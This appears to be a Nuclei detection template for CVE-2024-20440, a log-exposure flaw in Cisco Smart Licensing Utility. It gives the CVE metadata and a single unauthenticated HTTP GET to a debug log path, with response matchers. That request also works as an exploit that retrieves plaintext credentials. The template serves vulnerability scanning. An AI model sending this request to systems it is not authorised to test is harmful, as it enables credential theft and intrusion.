id: CVE-2024-20440

info:
  name: Cisco Smart Licensing Utility UnAuthenticated Logs Exposure Leaking Plaintext Credentials
  author: iamnoooob,parthmalhotra,pdresearch
  severity: high
  description: |
    A vulnerability in Cisco Smart Licensing Utility could allow an unauthenticated, remote attacker to access sensitive information.This vulnerability is due to excessive verbosity in a debug log file. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to obtain log files that contain sensitive data, including credentials that can be used to access the API.
  impact: |
    Unauthenticated attackers can access debug log files containing plaintext credentials and other sensitive information, enabling further attacks on the system.
  remediation: |
    Update Cisco Smart Licensing Utility to a version that prevents log file exposure.
  reference:
    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cslu-7gHMzWmw
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-20440
    cwe-id: CWE-532
    epss-score: 0.51466
    epss-percentile: 0.98799
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2024,cisco,smart,licensing,info-leak,vkev,vuln

http:
  - raw:
      - |
        GET /cslu/v1/var/logs/customer-cslu-lib-log.log HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "csluev.log"

      - type: word
        part: content_type
        words:
          - "text/x-log"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022038b38a9d5215a5204394f6c42a600862aad477b546be216c0f077d8923dc55a1022100cdd8c5af19f5a3255e94d340ed71415f8886dec485d7aa136524eecb1949a888:922c64590222798bb761d5b6d8e72950